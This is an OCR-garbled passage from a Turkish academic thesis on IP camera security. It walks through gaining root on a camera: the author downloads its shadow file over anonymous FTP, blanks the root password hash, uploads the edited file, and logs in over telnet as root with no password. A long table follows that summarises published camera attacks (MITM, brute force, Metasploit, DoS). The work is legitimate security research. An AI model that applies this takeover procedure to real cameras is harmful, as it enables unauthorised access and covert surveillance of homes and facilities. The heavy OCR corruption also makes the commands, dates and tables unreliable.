141
1490

Sep
Sep
Sep
Oct
Feb
Jan
Jan
Nov
Jan
Jan
Sep
Dec

1
1
1
31
16
1

1
4
1
1
1
2

1

21:35
21:48
17:35
20913
2017
1970
1970
2015
1970
1970
21:19
2014

resolv_conf -> jffs2/resolv.conf
services

shadow -> jffs2/shadow

sysconfig

udhepd. conf

IPRate.conf
anyka_cfg.ini
ap_list
app_ker_update_client_ip.ini
config.xml
hostapd.conf
isp_sc1145_qgq.conf
passwd

resolv.conf
scc.conf

shadow
wpa_supplicant. conf

Resim 3.33. /etc/jffs2 dizinindeki shadow dosyasinin 6zelliklerini gosteren komut ¢iktisi

Shadow dosyasini FTP iizerinden bilgisayara indirip i¢erigine bakildiginda root dahil olmak

iizere 4 adet kullaniciya ait grup ve sifre bilgilerinin hash olarak kaydedildigi goriilmektedir.

Bu hash’li dosyay1 ¢ozerek root sifresi ele gecirebilecegi gibi, kamera dizin yapisinda

shadow dosyasinin yazma hakkini da bulundurmasi sebebiyle root kullanicisina ait sifreyi

silmek suretiyle yeniden olusturulan shadow dosyas1 FTP vasitasiyla tekrar kameraya

gonderilip, acik olan diger servis telnet lizerinden root kullanicisiyla sifre olmaksizin

baglanma denenmistir (Resim 3.34.).

| shadow - Not Defteri

Dosya Duzen Bicim Goranum Yardim
root: $1%yu6zTMnb$FihNIMOOEPO3CWLUTNZPD1:1@933:0:99999:7: 11
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
hobody:*:16933:0:99999:7: 1

Resim 3.34. Shadow dosyasinin igerigini gosteren ekran goriintiisii
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Bu amagcla shadow dosyasinin igerigi root kullanicisi igin asagidaki sekilde degistirilmistir

(Resim 3.35.).

;I shadow - Not Defteri — (] X

Dosya Dizen Bigim G&rinim Yardim
root::0:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
hobody:*:18933:0:99999:7: ::

Resim 3.35. Shadow dosyasmin igeriginde root satirinin degistirildigine dair ekran
goruntiisu

Olusturulan yeni shadow dosyasi /etc/jffs2/ dizininin altina FTP ile kopyalanmistir (Resim
3.36.).

BN Komut Istemi - ftp 192.168.0.27 — O X

ftp> put shadow . ~
200 Operation successful

553 Error

ftp> put shadow shadow

200 Operation successful

150 0k to send data

226 Operation successful

ftp: 102 bytes sent in @.01Seconds 9.27Kbytes/sec.
ftp> dir

200 Operation successful

150 Directory listing

‘total 93

- WP - P 1 root root 181 Sep 1 21:35 IPRate.conf

- PWX - X=X 1 root root 3106 Sep 1 21:48 anyka_cfg.ini

- Pl - Pl - - 1 root root 11154 Sep 1 17:35 ap_list

-rW-r--r-- 1 1001 1001 62 Oct 31 2013 app_ker_update client ip.ini
- rwWXr--r-- 1 1001 1001 4136 Feb 16 2017 config.xml
-rW-r--r-- 1 1001 1001 1947 Jan 1 1978 hostapd.conf

- PWXE - X=X 1 root root 68892 Jan 1 1970 isp_sc1145_qgq.conf
-rW-r--r-- 1 root root 128 Nov 4 2815 passwd

- PWXP-XP-X 1 1ee1 1001 78 Jan 1 1970 reseolv.conf
PP 1 1ee1l 1001 57 Jan 1 1970 scc.conf

-rW-r--r-- 1 root root 182 Sep 1 23:32 shadow

-PW-r--r-- 1 1001 1801 1490 Dec 13 20814 wpa_supplicant.conf

226 Operation successful
ftp: 870 bytes received in ©.@4Seconds 19.33Kbytes/sec.
Ftp>

Resim 3.36. Olusturulan yeni shadow dosyasmnin FTP ile kopyalandigina iliskin ekran
goruntiisu
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Olusturulan yeni shadow dosyasini kameraya basarilt bir sekilde kopyaladiktan sonra
yeniden root kullanicisi ile ancak bu kez sifre girmeden telnet iizerinden baglanti kurulmaya
calisilmistir. Resim 3.37.”den de goriilebilecegi lizere, root kullanicisi ile sifre gerektirmeden
telnet baglantis1 saglanmis, /root dizinine root kullanicisi olarak tam yetki ile erisim

saglanmistir.

Telnet 192.168.0.27 - O X

anyka login: root
elcome to file system
[root@anyka ~]% whoami
root

[root@anyka ~]% pwd

/
[root@anyka ~]% 1s -1tr
‘total @
dr-xr-xr-x

54 root root @ Jan
1 ot roc 0

P el

5 init ->

Resim 3.37. Root kullanicisi ile sifre gerektirmeden telnet baglantisinin saglanmasina iliskin
ekran goriintiisii
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4. UYGULAMA SONUCU

Bu ¢alismada; kurum, kurulus, konutlarda ve 6zellikle kritik alt yapilarin oldugu mekanlarda
uzaktan erisim ve yonetiminde yaygin olarak kullanilan IP tabanli kameralarin giivenilirligi,
evlere yonelik hirsizlik gibi fiziksel saldirilarda da kullanilabildigi i¢in saldirganlar
acisindan oldukca cazip hale gelmesi nedeniyle incelenmistir. IP tabanli kameralarin
bulundugu ortamlar géz oniine alindiginda bu cihazlardan kaynakli veri sizintilarinin neden
olacag gizlilik ihlali ile diger nesnelerin interneti cihazlarindan kaynakli gizlilik ihlallerinin

ayn1 olmayacag1 degerlendirilmektedir.

Bu kapsamda, yapilan ¢alismalar ve saldirilar sonucu IP tabanli kameralara kars1 ayni agda
veya ulasabilecegi bir ortamda bulunup, internet baglantisi olan kotii niyetli birinin saldir
gelistirip, cihaz iizerinde yetki sahibi olabilecegi ve hatta goriintii elde edebilecegi
goriilmistlir. Bununla birlikte sadece ayn1 agda olmayip bazi profesyonel bilgi ve becerileri
de olan saldirganlarin da olabilecegi géz oOniinde bulundurularak literatiirde yapilan
caligmalar da dikkate alinarak yapilan saldirilar ve sonuglar ile ilgili bir 6zet cizelgesi

olusturulmustur (Cizelge 4.1.).

Cizelge 4.1. Saldir1 ve sonuglarina iligskin 6zet ¢alisma

Test edilen Testte
Referans kamera kullanilan Saldirilar Sonuglar
araglar

- Kameradaki mevcut uygulamanin yeniden
oynatma saldirilarina izin verdigi,

-Mesru  bir  yetkilendirme  talebini
yakalamay1 basaran bir kullanicinin, bu

- Hem ethernet hem de kablosuz iletisim talebi ,klmh.k. dogrulamast yap.mak ve .blr
N . . kaynaga erisim elde etmek icin basitge
sirasinda ag akigmin izlenmesi, . M .
< .. | yeniden gonderebildigi,
- Kameraya dogru hareket eden trafigin . . .
- S . - Sifreleme algoritmasinin hem cihazda hem
Wireshark yakalanmasi ve degistirilmesi, de sihirbaz uveulamasinda denolanan bir
[52] |DCS930L Burpsuite - Kameraya gomilli mevcut cihaz 1ygu - P
- Lo, - programa sabit kodlandigi,
Binwalk yazilimmin igeriginden cihazda tutulan . o S
kaynaklar hakkinda bilgi cdinilmesi | ~,/camerd ile web sitesi arasindaki iletigimin
< . < bir kismmin goriilebildigi,
saglanarak kimlik dogrulamasi, - .
. P - Giincel olmayan cihaz yazilimlarinda kaba
saldirilar diizenlenmistir. . o
kuvvet saldirisinin basarili olabilecegi,

- Kimlik dogrulama mekanizmalarmn zayif
yonlerine ek olarak, kimlik dogrulama
olmadan erisilebilen kaynaklarin varlig:
tespit edilmistir.

DCS 7410 Y_etkmz yonetim ve kcik du'zeylnde Calismada birgok kamera iireticisinin ¢esitli
. erisim yoluyla hedef agda bir yer . . .
Linksys - - P kameralari incelenmis ve kameralardaki
WV/CSON Binwalk edinme ve kamera goriintiisiiniin elde Co .
- . . . temel kodlardaki giivenlik agiklariyla;
Ci Firmware- edilmesi ve kameraya miidahale P A
isco PVC- - . S L. - Yonetici sifresinin alinabildigi,
[53] Mod-Kit edilmesi i¢in bu erisimden < >
2300 - Kameranin kablosuz agina erisim
1OInvisi IDA pro yararlanilmas1 amaciyla, kameralarin 51 s
QInvision .. . saglanabildigi,
Qemo kendisinde ¢alisan temel koddaki 20 o o gees
1Q832N - . - Yonetici erisiminin saglanabildigi,
L giivenlik agiklarina odaklanilarak et
3SVision d S tespit edilmistir.
N5071 saldirilar gergeklestirilmistir.
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Cizelge 4.1. (devam) Saldir1 ve sonuglarina iliskin 6zet ¢calisma

Referans

Test edilen
kamera

Testte
kullanilan
araglar

Saldirilar

Sonuglar

[38]

NETCAM

Nmap
Airodump-ng
Pyton betigi
Xplico
Wireshark
Open-VAS
Nessus

- Erigim noktasimin tespiti,

- Telnet oturumu aracilif ile kamerada
calisan dosya sistemine, yonetim komut
dosyalarina ve iglemlere erigim,

- Parola dosyas1 degistirilerek farkli
kullanici eklenmesi,

- Buluta gonderilen
yeniden yapilandirilmasi,

- Mevcut giivenlik agiklarinin taranmasi,

amaglariyla saldirilar

gergeklestirilmistir.

gorintiilerin

- Agik portlarin bulundugu,

- MAC adresine erisildigi,

- Varsayilan kimlik bilgileri ile oturum agilip,
dosya sistemine root erigsiminin verildigi,

- Varsayilan kullanicr igin varsayilan parola
degisikliginin yapilabildigi,

- Sertifika  bilgilerine erisilebildigi  ve
sertifikanin  gecerli oldugu alan adlarinin
goriilebildigi ve bununla da bu kameradaki
sorunlarin  benzer farkli cihazlarda da
olabilecegi,

- Kamera tarafindan bulut sunucusuna agik
metin olarak gonderilen kullanic1  ve
kameraya iliskin bilgilerin goriilebildigi,

- Xplico ile bu islem i¢in herhangi bir JPEG
veya M-JPEG dosyasimnt  yeniden
olugturamadig1 veya algilanamadig,

- Goriintiilerin yeniden yapilandirilabilecegi,

- Glivenlik  agiklarmm  bulundugu ve
varsayllan oturum a¢ma kimliklerinin
kullanildigy,

tespit edilmistir.

[54]

A, B,C,D
olarak
adlandirilan
gercek marka
ve modelleri
verilmeyen dort
farkli gozetim
sistemi

Wireshark
IPtable
Radare2

Trafik analizi ve kamera yazilimlarinin
incelenmesine dayanilarak gizlilik,
biitiinliik ve erisilebilirliklerine gore
degerlendirme yapilmustir.

Yerel saldirilarin,

- Glivenli olmayan fabrika ara yiizleri
nedeniyle kameralar igin bilyiik bir tehdit
olusturdugu,

- Bulut  sunucu
dogrulanmadigi,
- Kameralarda, gizli dinlemeyi miimkiin kilan
akis sifrelemesinin olmadigi veya zayif
oldugu,

Uzak saldirilar agisindan;

- Kameralarin bulut altyapisinin uzaktaki
saldirgan tarafindan tehdit edildigi,

- Kameralarin taklit edilebildigi,

- Sahte video akislar1 enjekte edilebildigi,

- Kameraya ve akigina yetkisiz erigimin
miimkiin olabildigi,

tespit edilmistir.

kimliginin her zaman

-i0s
Uygulamasi

-Uygulamadan

- Cihazlar1 bulmak igin yakindaki

- Nesnelerin interneti cihazlarimi kontrol
etmek iizere yerel alan aginda cihaz

[95] DCS-5500G tarama LAN'lar aranmustir. yanitlarini toplamak ve bunlari analiz etmek
Kamera sonuglarini - Bu cihazlarin genel IP adresi agiga i¢in SSDP kullanilmuistir.
almak i¢in ¢ikarilmustir. - Ag1ga ¢ikan cihazlar, sunucunun cihazlara
bulutta saldirmasini saglamustir.
barindirilan
bir sunucu
- Giincel olmayan aygit yazilimi kullanarak
- Kullanic1  hesabi olusturmak veya | (shell) kabuk erisimi saglanmasinin 5
degistirmek, dakikadan kisa siirdiigii, shell erisimi
D-Link DCS- Metasploit - Clhazg zarar verme_zk_veya bir arka‘k_am saglandiktan sonra l.<ullan101‘ hesabini
. yerlestirebilmek i¢in root erigimi| olusturma veya degistirme, cihaza zarar
[32] 930L IP Wireshark - . .
. saglamak, verme veya bir arka kapi yerlestirme
Kamera Networkminer > 2 <. - -
- Ag analizi yapmak, yetenegine sahip olundugu,

- Kamera yayinina erisip yonetmek,
icin saldinlar ger¢eklestirilmistir.

- Cihazin  kullanici
alinabildigi,
tespit edilmistir.

adi  ve sifresinin
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Test edilen Testte
Referans K kullanilan Saldirilar Sonuglar
amera
araglar
- Saldirganin kolayca ortadaki adam olarak
konumlandirilabildigi,
- Kamera goriintiisiini yeniden
yonlendirerek, istenen alicinin kameranin
- MITM saldiisi, goriintii ' ._I.)eslemesml almasinin
- - Hizmet reddi (DoS) saldirist engellenebildii,
Reoloink RLC- T ? - Kameranin goriintiisii bloke edilirken ayni
Ettercap - Kamera goriintiisiinii elde etme ve .
[57] 410WS IP . . anda, hareketli nesne olmamas: ve zaman
Xeoma miidahale edebilme saldirisi, . . .
kamera L damgas1 goz ardi edilmesi durumunda
- Yetkisiz erisim amagli saldiri, Kurb Kineni Jerin  hal 1
. eklestirilmistir urpan  ma |n_en|n ver1. erin ala Ctdl’ll
gere ’ olduguna inandirilabilecek sekilde
ayarlanabildigi,
- Kullanicr adi ve sifrelerin bazen diiz metin
bi¢iminde gonderildigi,
tespit edilmistir.
- Kod yerlestirme ve dizin ¢apraz kullanim
tekniklerinin reddedildigi ancak,
- Kameraya iligkin bilgilerin alinmas1, |~ Kameraya .11.151(.111. u.l‘Ct.ICI .bllngI’ I P .?qreSI
Angry IP sunucu bilgisi gibi bilgilerin almabildigi,
- MITM saldirisi, > oS .
Scanner - ARP zehirlenmesi ile kullanici adi ile
- Kullanict  adi  ve parolanin ele <
GeoVision GV- N'.“aph o | eecirilmesi, parolanin alindig,
FD220D 2MP Wl_res arl - Metasploit ile agikliklardan - Hydra 1}e gecerli kullanici adi ve parola
.. | Cain&Abel bulundugu,
[58] |H.264 IR sabit yararlanilmasi, . o
Hydra . .. | - Metasploit ile agikliklarin kesfedildigi,
IP Dome - - Web uygulamasinin giivenlik - .. -
Metasploit .. . . - MD5 hash degerlerinin alindigs,
kamera - testlerinin gergeklestirilmesi, A
Burpsuite - .| - Intruder ve Sniper ile yakalanan MD5 hash
- Yakalanan MDS5 hash degerlerine - o
Intruder - . . degeri alanlarinda tam olarak bir sozlik
p sozliik saldirilart gergeklestirilmesi, S .
Sniper saBlanmistir saldiris1  gergeklestirilebildigi ve gegerli
£ su. kullanici adi ve parola degerlerinin elde
edildigi,
tespit edilmistir.
- Olas1 tiim MAC kombinasyonlarini -
S - - Kamera baglant1 durumunu
siralayarak gevrimigi cihazlari o . .. .
taramstir ¢evrimigi/cevrimdisi olarak gostermistir.
_ . |-cihaz kimlik bilgilerine kaba kuvvet| @ba ~ kuvvet saldiisina - karg
[59] |Edimax IP Belirtilmemis savunmasizdir.
: : (brute force) saldirist yapilmustir. - -
kamera sistemi. . < - Aldatma (spoof) saldirisi, kimlik dogrulama
- Kimlik  dogrulama sunucusunu [ ..o .. .
S . | bilgilerini almak i¢in gercek kameralar
kandirmak i¢in kurban kameras: taklit . . .
. taklit edebilmektedir.
edilmistir.
- Ag analizi ve MIT™ |- Komut gonvderebllen gergek  zamanh
N akislar1  agiga c¢ikaran RTSP  portu
gergeklestirilmistir. bulunmustur
IP Kamera -Video akislarmi almak i¢in RTSP wunmostar. - .
Nmap - Komutlar ve kimlik bilgileri agik metin
[64] (marka model - portuna  kaba  kuvvet  saldirist . . .
‘. . Wireshark L olarak gonderilmektedir.
belirtilmemis) gergeklestirilmistir. .
. . .| -Video akislar1 almamamustir.
- Cihazin mobil uygulamasmna tersine . PO
- .1 -Mobil uygulamadaki kimlik bilgileri agik
miihendislik saldiris1 yapilmistir. N
metindir.
AirLive BU- . Kurbanin IP'sini kullanarak Flood UDP . e -
[96] 3026 IP kamera Hping3 araci DoS saldinst gerceklestirilmistir. -Kurban cihaz servisleri etkilenmemistir.
Goruntiileri
Insecam web :
[97] sitesinden Angry IP Acik erisimli cihazlar kontrol edilmistir. Birgok IP kameranmvayz'l}‘l.z}nrr{.m .
Scanner parolalarinin olmadig1 gorillmiistir.

alinan farkl IP
kameralar
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Test edilen Testte
Referans kamera kullanilan Saldirilar Sonuglar
araglar
Ring Kap1 Zili Akilli Kamerasina iliskin
olarak;
-Gereksiz  agik  portun olmadifi  ve
giincellemelerin otomatik olarak yapildigi,
- Varsayilan sifrelerin kullanilmadigi,
- MAC adresinin ve seri numarasinin ortaya
¢ikabilecegi,
- Parola karmasikliginin zorunlu olmadigs,
Ring Kap1 Zili . - Hesap kilitleme mekanizmalarinin
Akilli Kamerasi lletisime iliskin olarak; bulundugu,
-Kamera ve sunucu arasindaki | - pem dosyasinda tammlanan bir dizi
baglantmin  video  akismi  alip | gertifikanin kullanildigy,
almayacagi, | -Ev adresi, kriptografik anahtarlar vb.
-Sunucu ile telefon arasmdaki| kyllamcr  kimlik  bilgilerinde  sizint
baglantinin  video  akisgmi  alip olabildigi,
almayacagi, | - Uygulamada izinlerin makul oldugu,
- Kamera ve telefon arasmdaki | . fyi uygulama parametreleri,
baglantinin  video  akismi  alip tespit edilmistir.
almayacagi,
- Kamera ile kayit sunucusu arasindaki | Netatmo Akilli Kameraya iligkin olarak;
baglantimn MITM saldinsiyla kesilip | -SD kartin  iletisimi  etkileyebilecek
kesilemeyecegi, kriptografik anahtar izleri icerdigi,
- Sunucu ile telefon arasindaki baglantinin
Akilli kameraya iligkin olarak; alinip alimamayacaginin SSL uygulamasina
- Agik portlarin varligi, bu portlarda bagli oldugu,
calisan istismar edilebilir servisler ve | - HTTP'nin, son saldirganlara veya Wi-Fi
sistem bilgilerine erisen URL’ler ile | kesfini deneyen harici saldirganlara kars
giincelleme islemleri, giivenli olmadigl,
- Uretici sirket tarafindan saglanan | - Proxy sertifikasimni kabul etmedigi,
varsayilan sifrelerin kullanimi, - Gereksiz agik I_’Ol’t olma§1g1,
Netatmo Akilli - Cihazin fiziksel baglanti noktalarmm | - Glincellemelerin otomatik oldugul
Kamera kameraya erismek veya igine bir sey | - Varsayllap'slfr.elerm kulla'mlmadlgl,
eklemek i¢in kullamlip | - Cikarilabilir sifrelenmemis hafiza kartinin
kullanilamayacagi, kameranmn giivenli | bulundugu,
o . olmayan duruma getirilip | - Parola  politikasinin ve  kilitleme
[65] Belirtilmemis getirilemeyecegi ve gikanlabilir bir | mekanizmalarmn yeterli oldugu,
depolama  ortamma  sahip  olup -Hatali SSL uygulamasi oldugu, TLS
olmadig, ayarlarinin mevcut en iyi uygulamalarn
desteklemedigi,
Web arayiiziine iliskin olarak; -Uygulama izinleri agisindan yari ayricalikli
- Hesap kilitleme mekanizmalariyla | ©oldugu,
birlikte sifre politikasimn, kullanicr | - Sertifika parametresinin hatali oldugu,
hesabmm ele gegirilmesini onlemek | goriilmiis ancak  bilgi sizntist  tespit
icin fazladan giivenlik katmam ekleyip | edilmemistir.
eklemedigi,
BT Akilli Kameraya iliskin olarak;
Mobil uygulamasina iliskin olarak; -TCP tizerinde iletigimin sifreli oldugu,
-SSL  uygulamasinin  hatali  olup | - Proxy sertifikasini kabul etmedigi,
olmadigi, - Port 53'in dnsmasq'm eski bir siiriimiind,
- Geligtiricilerin ~ kotii  log  kayd:i | sistem giinliikleri sizintisini, yonlendirici
mekanizmalar1  nedeniyle kullanici | kimlik bilgilerini agiga ¢ikaran erisilebilir
kimlik bilgilerinin sizdirilip | kurulum sayfasim  ve giincelleme igin
sizdirilmadigy, gereken kullanic1 miidahalesini ¢alistirdig,
- Olas1 arka kapilar1 veya riskli kodlari | - Kullanic1 adinin ve parolasmin "admin"
kontrol ~ etmek  i¢in  uygulama | oldugu,
ozellikleriyle ~ birlikte  uygulama | - Giivenli olmayan duruma getirilerek bazi
BT Akilli bildirim izinleri, sayfalarin erigilebilir olmasini
Kamera - Uygulama  imzalama  sertifikas1 | saglayabilecegi,

parametreleri,

kontrol edilmistir.

- Cihazin MAC adresinin ve seri numarasinin
ac1ga ¢ikarilabilecegi,

- Parola karmagikliginin zorunlu tutulmadig:
ve hesap kilidinin bulunmadigi,

- Hatali  sertifika  dogrulamasi,  TLS
ayarlarmin mevcut en iyi uygulamalar
desteklemedigi,

- Uygulama izinleri agisindan yar1 ayricalikli
oldugu,

-Sertifika parametresinin hatali oldugu,
goriilmiis, bilgi sizintis1 tespit edilmemistir.
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Test edilen Teste
Referans Kkamera kullanilan Saldirilar Sonuglar
araglar

fletisime iliskin olarak;

- Kamera ve sunucu arasindaki
baglantinin video akisim alip Markasi belirtilmemis 1. kameraya
almayacagi, iliskin olarak;

- Sunucu ile telefon arasindaki -UDP iizerinden higbir goriintiiniin
baglantinin video akisini alip dogrudan alinamadigy,
almayacagi, - Kullanicidan yénetici veya kullanicinin

- Kamera ve telefon arasindaki degistirdigi bir parola isteyen erisilebilir
baglantinin video akisini alip bir sayfanin oldugu,
almayacagi, - Kullanici tarafindan degistirilebilen,

- Kamera ile kayit sunucusu ancak cihaz sifirlama diigmesi ile

Markast arasindaki baglantimin MITM "admin" olarak sifirlanabilen varsayilan
belirtilmenis 1 saldirisiyla kesilip kesilemeyecegi, "admin" parolasinin kullanildigi,
Kamera o . - SD lfia‘rtl'n tan‘mmnggl, cvlhazm )

Akilli kameraya iliskin olarak; kimligini ve sifresini agiga ¢ikardigi,

- Agik portlarmn varligi, bu portlarda - Parola karmagikliginin zorunlu
¢alisan istismar edilebilir servisler tutulmadig1 ve hesap kilidinin olmadigi,
ve sistem bilgilerine erisen URL’ler | - SSL kullanilmadig1, kullanicinim HTTP
ile giincelleme islemleri, aracihigiyla oturum agti,

- Uretici sirket tarafindan saglanan - Sifreleme anahtarlarinin ve Wi-Fi
varsayilan sifrelerin kullanimi, kimlik bilgilerinin sizdirildigi,

- Cihazin fiziksel baglanti - Uygulama izinlerinin makul oldugu,
noktalarmin kameraya erismek veya | - Sertifika parametresinin hatali oldugu
icine bir sey eklemek i¢in kullamlip | tespit edilmistir.
kullanilamayacagi,

[65] Belirtilmemis | - Kameranin giivenli olmayan
duruma getirilip getirilemeyecegi ve
Qllff,mlalblhr }m (ée]v)olama ortammna Markasi belirtilmemis 2. kameraya
Sahip olup oimadigl, iliskin olarak;
“UDP iizeri hichir edriintinii

Web arayiiziine iliskin olarak; gogm‘ézir;‘ff;m ;:fg goruntunun

- Hesap kilitleme mekanizmalariyla - Erisilebilir sistem log’larlz http: //
birlikte sifre politikasinin, kullanici IPAddress / debug / sys logd.txt, agik
?i;alf’;;‘f;‘ d‘;f gjﬁ;‘l‘l‘l‘;(elj;‘:;‘:l‘l'lemek portlart (49152 / tep bilinmiyor- 554 /
egl:de : eklemge disi tep rtsp- 80 / tep http) bulundugu,

yip gl - Kullanicr tarafindan degistirilebilen,
. ancak cihaz sifirlama diigmesi il
Markasi Mobil uygulamasina iliskin olarak; ”admir?'l' :lflrsziklrsli'?rllzn:bgirlgisil;;ayllan
belirtilmemis 2. ) SISLélngulamaSIHm hatal olup "admin" parolasinin kullanildigi,
kamera _OGr;? tli%;’cilerin K6t Toe kavd: - Cikarlabilir sifrelenmemis hafiza karti,
mek:nizmalarl nedeni gle kl}llllamm aygitin UID'sinin, parolasinin ve seri
Kimlik bililerinin SlZ(illl‘lll numarasinin ortaya ¢ikarilabilecegi,
il % N P - Parola karmagsikliginin zorunlu
51021 1 m]f lkgl’ ) skl olmadig: (hesaba telefon uygulamasi
'kotﬁzrff(oi tril;‘e‘t‘;;e"]ffgi:zyéulama tarafindan erisilebildigi icin kilitleme
A S kani bul digy).
ozellikleriyle birlikte uygulama H[}e arilzma§1< 1;upr_na 1g]1() 1 oldus
bildirim izinleri T rBu ama 1Ziehni magu’ oicusd,
Uyeul . Yl ik - Sertifika parametresinin hatali oldugu

- Uysu im? imzalama sertifikast goriilmiis, bilgi s1zintis1 tespit
parametretert, edilmemistir.

kontrol edilmistir.

Foscam

FI19826W,

Hikvision DS- MITM saldirilarmin basarili oldugu ve

§ g

f((\i\l,))%gf SFWD- Etet;::rig Kamera yayinlarina yetkisiz erigim kurban cihaz ve tim kameralarm.l\{lAC
[66] Merit-Li LIN Wireshafk saglama saldirist ile MITM, paket ve IP adreslerinin kontrol edemedigi, bu

LR2522E4 Hydra koklama, hizmet reddi saldirilart nedenle de ARP sahtekarligimi ve hizmet

Merit-LILIN Burpsuite gergeklestirilmistir. reddini algilayamadig1 ve

IPR722ES4.3, engelleyemedigi gorillmiistiir.

Sricam SP008
Sricam SP017.
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Test edilen Testte
Referans K kullanilan Saldirilar Sonuglar
amera
araglar

-Bir saldirganin hassas bilgileri gizlice
dinlemesini ve bir kurban kullanici igin
kimligi dogrulanmis bir oturumu ele
gecirmesini saglayan bir giivenlik agi1g1,

- Oturum kimliklerinin diizgiin yonetilmedigi
ve oturumlarin uygun sekilde
sonlandirilmayip, birden fazla kullanicinin

- Oturum ve kamera kimlik bilgilerinin | ayni anda ayni oturuma dahil olabildigi,
LeFun IP Bebek teshir edilmesi, -LeFun  kamera  uygulamast MIPC
[98] | monitor GET request |- Oturumun ele gegirilmesi ile kamera | indirildiginde VsmaHome, Ebitcam, YIPC,
kamerasi yayinina erisim saglanmamas, Vimtag ve Myannke gibi diger kamera
amaciyla saldir1 gergeklestirilmistir. uygulamalarinin 6nerildigi,

- MIPC uygulamasinin, LeFun kameranin
yani sira, aralarinda ANNKE 720p, EbitCam
1080p, Vimtag VT-361 ve VSmaHome
1080p Wi-Fi video izleme giivenlik
kameralar1 da dahil olmak iizere diger
internet baglantili kameralarla da ¢alistig1,

tespit edilmistir.

-Saticinin web sitesinde mevcut olan sabit
kodlanmig zayif bir

. - Root erisimi elde etme, root sifresine sahip oldugu,
Binwalk - Canli kamer Oriintiisiin rigim | - Cihazinin roek zamanl k1
Swann NVW- [ John The a amera - gorintustne - erig a . Berge ama i
[98] . saglama, protokollerinde uygun kimlik
470 IP Kamera | Ripper [, - -
Netcat - Kamera goriintiisiinii internete agma, dogrulamasinin bulunmadigi, ‘ ‘
saldirilar gerceklestirilmistir. -Ag kullanicilarinin kullanabilecegi
alternatif bir URL saglandig1,

tespit edilmistir.

- Bilgi toplama asamasinda, agda ¢alisan tim
makinelerin goriildiigi,

- Agik portlarin test edildigi,

- Cihazin arkasinda hem cihaz kimligi hem de
sifre i¢in iki varsayilan bilgi yazildig1,

- Ilgili android uygulamasinin sifre belirleme

. politikasinin bulunmadigi,
-Sistem algilama, . ;i .. ..
. 9 °. L . . - Cihazin  botnet haline getirilmesinin
Netdiscover |- Ag trafigi analizi ile hizmetlerin ve P -
g - | miimkiin oldugu,
Nmap portlarin tanimlanmast igin veri | “pi iy qosrulama verileri dahil, iletilen tiim
Intelligent Wireshark toplama, Mtk og . P
[69] . " . verilerin diiz metin olarak goriilebildigi,
ONVIF YY HD | Mitmproxy - Trafik analizi, " o e .
. - Kritik verilerin ve gizli bilgilerin diiz metin
Arpspoof - IP kameray1r destekleyen mobil ve
. . olarak aktarilmasinin yalnizca IP kameranin
Bettercap Windows uygulamalarindaki kusurlar, - e . <
P giivenligini tehlikeye atmakla kalmayacagi,
kontrol edilmistir. U o . .
agn giivenligini de etkileyecegi,

- Cihazdan canli yaym: almak igin
kullanilabilecek ~ RTSP'ye  bir URL
bulundugu ve herhangi bir kimlik dogrulama
bilgisine ihtiyag duymadigindan savunmasiz
olarak ¢alistig1,

tespit edilmistir.

D-Link kameraya iliskin olarak;

- Cihaz ve isletim sistemi ile ilgili ayrintilar

- TCP SYN gizli taramalarinin yani sira | alinmus,
80 (HTTP), 443 (HTTPS / SSL), 22 |- TCP / IP parmak izi (fingerprint), bunlarda
Nmap (SSH), 25 (SMTP), 110 (uzak posta| calisan 4 agik port ve servis, 2 CVE, web
Vulscan, sunucusu), 445 (SMB) numarali | igerigi veya web sunucusunun olmadigi,
Nmap- portlarda UDP taramalarini kullanarak |- SSL giivenlik a¢ig1 ve bununla ilgili
D-Link Kamera | vulners igletim sistemi, IP ve MAC adresleri ve | sorunlar,
[99] (DCS-8000LH) | Xerxes acik portlar gibi cihaz hakkinda (varsa) | bulunmusgtur.
Yi Antscam Metasploit, bilgi toplanmugtir. Yi Antscam kameraya iliskin olarak;
Kamera Searchsploit |- Taranan portlar ve cihazin kendisi |- Cihaz ayrintilari bulunmus ancak ana

Nikto
Dirb
Hydra

hakkinda bulunan CVE'lerin
raporlanmasi igin iyi bilinen CVE
veritabanlar1 kullanilmigtir.
-SYN flood ve PoD
gerceklestirilmistir.

saldirilari

bilgisayar ayrintilart bulunamamus olup,

- TCP agik portu olmadig: tespit edilmis,

- TCP/IP parmak izi ile 42 agik UDP portu ve
bunlarda ¢alisan servisler tespit edilmis,
ancak aciklardan yararlanma (exploit) veya
CVE ile cihazda web igerigi veya web
sunucusu bulunamamigtir.
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gerceklestirilebilecek saldirilarin tespiti
yapilarak 6nerilen saldirilar
denenmistir.

Test edilen Testte
Referans kullanilan Saldirilar Sonuglar
kamera
araglar
(devam) (devam) (devam)
-Herhangi bir HTTP, SMB veya
RDP’nin ¢alisip ¢aligmadigi tespit
edilmistir.
[99] - HTTP, HTTPS, SSL'den iletisim
paketleri analiz edilmistir.
- SSH, SMB veya RDP gibi servisleri
caligtiran agik portlara yonelik sozliik
saldirilan gergeklestirilmistir.
- Cihazdaki ag¢ik portlar ile ¢alisan servisler
tespit edilmistir.
- MITM saldirist ile kullanici ad1 ve parolanin
diiz metin olarak alinabildigi goriigmustiir.
- Cihaza iliskin bilgi toplanmasi, - Elde edilen kullanici adi ve parola ile canl
- Ag analizi, goriintii izlenilebilmistir.
Nmap - MITM saldirisi, - Internette bulunan birgok parola bilgisi ile
Bu Tez AZEMAX IP Bettercap - Parola kirma saldirist, tarafimizca olusturulan liste kullanilarak
610 Hydra gergeklestirilmis ve Armitage ile cihaza | gerceklestirilen  parola  saldirist  ile
Armitage yonelik gerceklestirilebilecek parolalarin elde edilebilecegi gorilmistiir.
saldirilarin tespiti yapilarak onerilen - Armitage  kullanmilarak  gergeklestirilen
saldirilar denenmistir. saldirilar sonucunda farkli ¢iktilar alinmig
olup, saldirillar  basarisiz  olmustur.
Internetteki her exploitin her kameraya
basartyla uygulanamayabilecegi
gorillmistiir.
- Cihazdaki agik portlar ile ¢alisan servisler
tespit edilmistir.
- Tarama sonucunda farkli IP kamera
- Cihaza iliskin bilgi toplanmast, bilgisine erigilmistir.
- Ag analizi, - Armitage tizerinde denenen saldirilar
- Root erisimi elde etmek, sonucunda, saldirilarin basarisiz olduguna
BuTez | TRAX tr-100 Nma_p ama_myla _sald?rllar ggrg:elﬂe@tirilmm ve | dair ‘y_amtlar alnmistir.  Internetteki her
Armitage armitage ile cihaza yonelik exploitin her kameraya basariyla

uygulanamayabilecegi goriilmiistiir.

- Kameranin FTP sunucusuna anonim olarak
baglanilabildigi, root erisiminin
saglanabildigi ve root kullanicisi ile sifre
